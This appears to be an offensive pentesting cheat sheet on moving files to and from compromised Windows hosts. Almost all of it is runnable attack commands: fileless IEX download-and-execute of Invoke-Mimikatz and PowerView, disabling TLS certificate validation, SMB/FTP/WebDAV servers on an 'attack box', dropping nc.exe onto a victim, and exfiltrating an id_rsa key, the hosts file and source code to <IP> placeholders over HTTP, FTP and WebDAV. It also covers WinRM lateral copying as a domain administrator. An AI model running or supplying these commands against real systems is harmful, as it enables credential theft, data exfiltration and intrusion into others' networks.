File transfers (Windows)
Table of Contents
PowerShell#
PoSH Base64#
# Linux
cat id_rsa | base64 -w 0; echo
LS0t...LQo=
# Calculate MD5 hash
md5sum id_rsa
4e301...278
# Save an encoded file at `\Public`
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0t...LQo="))
# Confirm the MD5 hash
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# output redacted
4E301...278
⚠️
cmd.exehas a maximum string length of 8191 chars, rendering this method impossible to use for large payloads.
PoSH File Downloads#
We can use System.Net.WebClient class to download files over HTTP(S) or FTP and to attempt a fileless attack.
# File Download
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
with DownloadString and Invoke-Expression#
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
# or
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
# or as a pipe
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
with Invoke-WebRequest#
💡
Invoke-WebRequestis aliased asiwr,curlandwgetin Windows. It is noticeably slower at downloading thanDownloadString.
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
See also#
Common issues#
-UseBasicParsing#
If IE11 hasn’t been configured yet, the downloads will be prevented:
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
#...
To bypass that use the -UseBasicParsing param:
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
bypassing untrusted SSL/TLS certificate#
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
# bypass command:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
SMB#
We can run SMB server in our attack box with e.g. Impacket’s smbserver.py and use copy, move or Copy-Item on our target to download a file:
# Kali
sudo impacket-smbserver share -smb2support /tmp/smbshare
net use n: \\<IP>\share /user:test test
The command completed successfully.
copy n:\nc.exe
💡 if
copydoesn’t work, we canmountthe SMB share within the target machine’s filesystem.
FTP#
We can run the FTP server in our attack box using Python3’s pyftpdlib module:
# Attacker
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21
# Victim
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\Users\Public\ftp-file.txt')
FTP client Command File#
If we don’t have an interactive shell, we can create an FTP command file downloading a file from our FTP server:
# through e.g. non-interactive OS command
echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open <IP>
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
more file.txt
This is a test file
JavaScript#
// wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/ false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript#
wget.vbs:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
WinRM#
If we don’t have access to neither HTTP(S) nor SMB, we can use WinRM, a.k.a. PowerShell Remoting.
It allows us to execute scripts remotely using PowerShell sessions. By default enabling WinRM creates both a HTTP and HTTPS listeners on TCP/5985 and TCP/5986.
To create a PowerShell Remoting session on a target machine, we either need to:
- have the administrative access
- be in the
Remote Management Usersgroup - have explicit permissions for WinRM in the session configuration
Let’s say we have a session as an administrator on DC01 and have the administrative rights on DATABASE01 with WinRM enabled:
whoami
domain\administrator
hostname
DC01
Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
# Establish a session to the remote DATABASE01 and store it in $Session
$Session = New-PSSession -ComputerName DATABASE01
# Copy to DATABASE01
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
# Copy from DATABASE01
Copy-Item -Path "C:\Users\Administrator\Desktop\samplefile.txt" -Destination C:\ -FromSession $Session
File Uploads#
base64 encode/decode#
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
IyB...DQo=
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
3688374325B992DEF12793500307566D
Then we can decode on our attack host:
echo IyB...DQo= | base64 -d > hosts
md5sum hosts
3688374325b992def12793500307566d hosts
PowerShell Web Uploads#
We can use Invoke-WebRequest/Invoke-RestMethod to upload files to e.g. Python3’s uploadserver using e.g. PSUpload.ps1:
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://<IP>:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PowerShell Base64 Web Uploads#
We can use Invoke-WebRequest/Invoke-RestMethod together with nc to upload base64-encoded file to our attack box:
nc -lvnp 8000
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:8000/ -Method POST -Body $b64
SMB Uploads#
⚠️ Usually the outbound SMB (
TCP/445) connections are not allowed in the enterprise networks. We can run SMB over HTTP withWebDAVHTTP extension, redirecting the traffic toTCP/80orTCP/443.
impacket-smbserver#
If there are no TCP/445 restrictions, we can use impactet-smbserver the same way we did for file downloads.
WebDav#
SMB will attempt to connect using the SMB protocol. If no SMB share is available, it will try to connect using HTTP.
We can use Python3’s wsgidav and cheroot modules to set up a WebDav server:
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Then we can attempt to connect to the share using the DavWWWRoot directory:
dir \\<IP>\DavWWWRoot # DavWWWRoot is a special keyword, don't create that directory.
copy C:\SourceCode.zip \\<IP>\DavWWWRoot\
FTP File Uploads#
We can use pyftpdlib in --write mode:
sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://<IP>/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Command file#
echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open <IP>
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye